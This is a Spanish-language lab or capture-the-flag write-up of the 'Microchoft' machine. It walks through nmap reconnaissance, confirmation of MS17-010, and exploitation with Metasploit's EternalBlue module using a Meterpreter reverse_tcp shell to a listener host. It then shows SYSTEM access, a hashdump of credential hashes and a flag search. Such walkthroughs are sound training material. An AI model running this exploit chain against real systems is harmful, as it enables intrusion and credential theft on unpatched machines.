Microchoft
Explotación de EternalBlue (MS17-010) en Windows 7 SP1 sin parchear para obtener acceso SYSTEM mediante Meterpreter.
Índice
Reconocimiento
Comenzamos con un escaneo de servicios y scripts por defecto:
nmap -sC -sV -T4 -oN nmap_initial.txt 192.168.56.101
Resultado:
PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Windows 7 Home Basic SP1 x64
49152/tcp open msrpc
49153/tcp open msrpc
49154/tcp open msrpc
49155/tcp open msrpc
49156/tcp open msrpc
49157/tcp open msrpc
Host script results:
| smb-os-discovery:
| OS: Windows 7 Home Basic SP1 x64 (6.1.7601)
| Hostname: MICROCHOFT
| Workgroup: WORKGROUP
|_ SMB signing: deshabilitado
El único vector de ataque relevante es SMB en el puerto 445. Confirmamos la vulnerabilidad a MS17-010:
nmap -p445 --script smb-vuln-ms17-010 192.168.56.101
Resultado:
Host script results:
| smb-vuln-ms17-010:
| VULNERABLE:
| Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
| State: VULNERABLE
| IDs: CVE:CVE-2017-0143
Máquina confirmada vulnerable a EternalBlue. SMB signing deshabilitado y guest auth habilitado — condiciones óptimas para la explotación.
Explotación — EternalBlue
Utilizamos el módulo ms17_010_eternalblue de Metasploit:
msfconsole -q
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.56.101
set LHOST 192.168.56.102
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LPORT 4444
run
Resultado:
[*] Started reverse TCP handler on 192.168.56.102:4444
[*] Sending stage (201798 bytes) to 192.168.56.101
[+] ETERNALBLUE overwrite completed successfully (0xC000000D)
[*] Meterpreter session 1 opened (192.168.56.102:4444 -> 192.168.56.101:49158)
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
Acceso SYSTEM obtenido directamente, sin necesidad de escalada de privilegios.
Nota: El exploit requirió varios intentos — comportamiento habitual en Windows 7 por la inestabilidad conocida del stage. Si falla en el primer intento, simplemente volver a ejecutar run.
Post-explotación
Con sesión SYSTEM activa, extraemos los hashes del sistema:
meterpreter > hashdump
Y buscamos las flags en los Desktops de los usuarios:
meterpreter > shell
C:\> dir /s /b C:\Users\*user.txt* C:\Users\*root.txt*
Flags
| Flag | Ruta |
|---|---|
| User | C:\Users\[usuario]\Desktop\user.txt |
| Root | C:\Users\Administrator\Desktop\root.txt |
Lecciones aprendidas
EternalBlue — MS17-010
CVE-2017-0143 afecta a SMBv1 en sistemas Windows sin el parche KB4012212. A pesar de tener casi una década, sigue siendo prevalente en entornos sin actualizar. El exploit es directo con Metasploit — el único punto de fricción es la inestabilidad del stage en Windows 7, que se resuelve reintentando.
Metasploit — inestabilidad en Win7
Los scripts de post-explotación automatizados (AutoRunScript, multi_console_command) pueden fallar si stdapi no está completamente inicializado cuando se ejecutan. La solución es esperar a que la sesión Meterpreter esté estable antes de ejecutar módulos post.
Metodología
- Recon → SMB como único vector
- Script NSE
smb-vuln-ms17-010→ vulnerabilidad confirmada - EternalBlue → SYSTEM directo, sin escalada necesaria
- Post-explotación → hashdump + búsqueda de flags